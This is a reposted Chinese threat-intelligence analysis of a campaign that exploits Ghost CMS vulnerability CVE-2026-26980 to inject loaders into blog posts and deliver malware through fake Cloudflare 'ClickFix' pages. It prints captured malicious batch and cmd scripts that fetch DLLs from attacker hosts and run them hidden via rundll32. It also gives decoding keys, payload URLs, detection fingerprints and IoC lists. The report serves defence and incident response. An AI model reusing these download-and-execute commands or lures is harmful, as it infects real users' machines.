文章总结: 攻击者利用GhostCMS的SQL注入漏洞CVE-2026-26980未授权获取AdminAPIKey,批量篡改文章植入恶意JavaScriptLoader,通过伪造Cloudflare验证页面实施ClickFix社会工程学攻击,最终投递窃密木马。已发现700多个知名站点受害,攻击呈上升趋势。建议用户立即升级系统并自查处置。 综合评分: 85 文章分类: 漏洞分析,恶意软件,威胁情报,安全意识,应急响应
5月9日: 来自com-apps[.]cc 的update.bat
@echo offpowershell -W 1 -C "$f=$env:Temp+'\publl.dll'; iwr 'https://t[.]ly/docreport09052026.pdf' -OutFile $f; Start-Process rundll32 -ArgumentList $f,'Begin' -Window Hidden"start "" "https://bc[.]ax/Supp.html"exit
它们的核心逻辑一致:从 Storj 公共 CDN 下载DLL文件,通过rundll32隐藏窗口调用导出函数Begin,再打开一个伪装页面分散用户注意力。
而NotepadPlusPlus.zip就稍微有所变化,在5月16日压缩包中的是cmd文件;两天之后就变成了js文件。
5月16日: 来自com-app[.]cc的NotepadPlusPlus.cmd
@echo offsetlocalif not "%1"=="am_admin" (powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c %~f0 am_admin' -WindowStyle Minimized" & exit /b)mode con: cols=1 lines=1powershell -WindowStyle Hidden -Command ^"$dll = '%APPDATA%\Microsoft\Windows\NotepadPlusPlus.dll'; ^Invoke-WebRequest 'https://taketwolabs[.]com/wp-content/NotepadPlusPlus.dll' -OutFile $dll -UseBasicParsing; ^Start-Process rundll32 -ArgumentList $dll, 'Begin' -WindowStyle Hidden"exit
5月18日: 来自com-app[.]cc的NotepadPlugPlus.js
它们的功能也是下载,只不过cmd用于下载下一阶段的载荷NotepadPlusPlus.dll;而js则是用于下载最终阶段的载荷UtilifySetup.exe。
样本分析:installer.dll & notepadplusplus.js
上述的bat或cmd文件都是用于下载下一阶段的DLL文件,虽然不同的脚本中使用了publl.dll,NotepadPlusPlus.dll等名字,但从样本中的PDB信息可知这个DLL真实名字为installer。目前,我们只捕获俩个installer.dll,对应俩个不同的阶段。
第一阶段:5月7日至9日
MD5: 5659292833ec421da11ebde005d9c9a8Compiled Timestamp: 2026-02-16 18:19:13Language: RustPDB: installer.pdb
行为流程:
- 在%TEMP%下创建随机命名的文件夹
- 从https://wl[.]gl/sup.exe下载下一阶段样本并保存
- 使用cmd启动sup.exe
最终拉取到的sup.exe是一个携带有效代码签名证书的PuTTY客户端,目前该链接已失效。我们判断这个阶段极有可能只是测试 / 统计性投放,用以验证整条投毒链路的可行性与转化率,核心判断依据为:
- Loader 本身未做任何持久化
- 下载回来的 payload 未实施任何恶意行为
第二阶段:5月16日至今
MD5: d30cc10d54ebc967c8538ff74f442eeeCompiled Timestamp: 2026-05-16 04:04:55Language: RustPDB: installer.pdb
它的功能和第一阶段的installer.dll一样,下载执行下一阶段的载荷,只不过载荷变成了UtilifySetup.exe。
前文已经讨论过NotepadPlusPlus.zip包括cmd/js俩种形式,已知notepadPlusPlugs.cmd是用于下载installer.dll,那notepadPlusPlus.js的目的又是什么呢?
MD5:ec5dfee13abf94e08d0f94e90b527db0Language: JavaScript
将notepadPlusPlus.js去混淆后,不难看出,它的功能也是下载执行下一阶段载荷UtilifySetup.exe。
样本分析:UtilifySetup.exe
UtilifySetup.exe是Inno Setup打包的安装文件,执行后会将释放到%appdata%\local\SuperMaxionQuickMaxlite目录
MD5: 18a7251ddde77ed24bc54700d84d9be1SHA1: 9434fe686801742ef7d6da248fb0b900dc32208aCompiled TimeStamp: 2026-02-11 19:40:27Type: Inno Setup
这其实是一个Electron程序,将asar解包之后,可以看来源代码来自于github开源。
这个文件在VT是0检测,难道又是一个测试程序?答案是否定的。经过分析,我们发现攻击者使用恶意的index.js替换原始入口文件。
去混淆之后,它的核心功能是使用 Electron 框架自带的setLoginItemSettings API实现持久化;每30秒向远程服务器web-telegram[.]ug发送POST请求,等待执行其下发的获取指令,可执行任意的js代码或者运行可执行文件。
#
另一个攻击团伙
在我们的调查中,发现部分受害者还被攻击过2俩次,以bitsy.ai为例,它在5月10日第一名受害者名单中,但是却不在5月17日的第二批名单中。我们一开始为bitsy.ai的修复行动感到开心,但检查之后却发现它虽然清理了之前的脚本,但又被植入了另一类恶意脚本。这个脚本使用简单的reverse的对抗,还原后的下一阶段的javascript脚本地址为https://staticcloudflare[.]pro/api/css.js
再以哈佛国际评论为例,4月23日有一个,涉及的IOC为script-dev[.]digital,文中并没有提供恶意脚本,但我们通过溯源发现了以下脚本,还原后的下一阶段javascript脚本地址为https://script-dev[.]digital/api/css.js
staticcloudflare[.]pro与script-dev[.]digital这俩个域名使用相同的/api/css.jsURI模式,而且都曾解析到144.31.236.66,可以出俩者属于同一个攻击团伙。
而到了5月16日,我们却发现哈佛国际评论被植入了本次活动的恶意脚本,将其中的Base64字串解码之后正是新的Cloaking脚本地址https://com-apps[.]cc/11z77u3.php。
最有意思的是仅仅1天之后,另一个攻击团伙就将上面的代码清除,植入和bitsy.ai一样的恶意脚本,我们不禁感叹哈佛国际评论一个相当严肃的站点居然被俩个攻击团伙如此肆意玩弄。
这个这个攻击团伙的ClickFix页面上Ctrl+V的代码如下所示,核心部分是$d,可以看出它是一个16进制字串,使用XOR加密,密钥为h2QHiVI。
解密后的代码如下所示,它的功能是下载执行下一阶段的载荷,下载地址使用Base64编码
aHR0cHM6Ly9jZG51cGRhdGVuZXdzLnRvcC9kbD9maWQ9Mzg=
解码后为https://cdnupdatenews[.]top/dl?fid=38,遗憾的是我们并没有捕获这个载荷,无法进入一步分析这个攻击者的终极意图。
本文暂时不对这个攻击者进行深入的分析,只提供部分威胁情报,通过/api/css.js这个特定的URI进行溯源的话,在VT能发现将近500个可疑域名,部分和Aeternum恶意软件联系在一起。
#
自查与检测方法
站点侧(Ghost 运维方)
- 检查文章内容:在数据库或后台搜索是否包含以下任一指纹
- 字符串 ghost_once_footer_或 sj.ssc/ipa/
- 字符串 atob(与 appendChild同时出现在文章正文中
- 字符串 btoa(a.origin)
- 检查Ghost后台日志:是否存在异常的PUT /ghost/api/admin/posts/:id/请求,特别是来自陌生 IP、UA 异常、短时间内批量修改的请求
- 检查Code Injection配置项与主题文件:是否被植入额外的标签
- 检查API Key列表:是否存在未知或长期未使用的 Admin API Key
- 数据库审计:对posts.html/posts.mobiledoc/posts.lexical字段做一次全量扫描
用户侧 / 浏览侧
- 是否曾被引导至cloud-verification[.]com,com-apps[.]cc类伪验证页面
- 下载记录中是否有jalwat[.]com,taketwolabs[.]com,com-apps[.]cc,cloud-verification[.]com
处置建议
我们强烈建议Ghost CMS用户执行以下处置操作,如果你对我们的研究感兴趣,或需要帮助,可通过过与我们联系。
- 紧急升级Ghost CMS 至已修复 CVE-2026-26980 的官方版本
- 轮换所有凭证:Admin API Key、Content API Key、管理员密码、Session
- 清理植入内容:在数据库层面(而不仅是后台编辑器)批量清除文章中匹配上述指纹的代码段
- 审计访问日志:保留至少 30 天的 Admin API 调用日志,配合 IoC 进行回溯排查
- 向用户公告:建议所有可能在被污染期间访问过站点的用户进行本地安全检查
IoC
Threat Actor A
clo4shara[.]xyzcloud-verification[.]comjalwat[.]comcom-apps[.]ccplatecrumbs[.]comweb-telegram[.]ug https://clo4shara[.]xyz/11z77u3.phphttps://com-apps[.]cc/11z77u3.phphttps://platecrumbs[.]com/11z77u3.phphttps://cloud-verification[.]com/update.ziphttps://com-apps[.]cc/update.ziphttps://com-apps[.]cc/NotepadPlusPlus.ziphttps://jalwat[.]com/static/uploads/campaigns/6/update.ziphttps://taketwolabs[.]com/wp-content/NotepadPlusPlus.dll
Threat Actor B
staticcloudflare[.]proscript-dev[.]buzzupdatesecurity[.]proupdatefilescf[.]topstatic-file[.]digitaldownload-file[.]todayupdatefile-cf[.]dgitalscript-dev[.]digitalupdatefile-cf[.]topscript-dev[.]xyz https://staticcloudflare[.]pro/api/css.jshttps://script-dev[.]digital/api/css.jshttps://cdnupdatenews[.]top/dl?fid=38
Sample MD5
5659292833ec421da11ebde005d9c9a8 installer.dlld30cc10d54ebc967c8538ff74f442eee *NotepadPlusPlus.dll18a7251ddde77ed24bc54700d84d9be1 *UtilifySetup.exe_f280e12f51f996dae7fffc64a56ee527 *SuperAppizeSetup.msifceca579efcef09eb507c6ca977ea281 *css.js_
Injected code characteristics
#Threat Actor1 "ghost_once_footer_" #Thread Actor2 "sj.ssc/ipa/"
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:奇安信XLab 奇安信X实验室 奇安信X实验室《黑客利用 CVE-2026-26980 攻陷 Ghost CMS,大量站点沦为 ClickFix 攻击帮凶》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论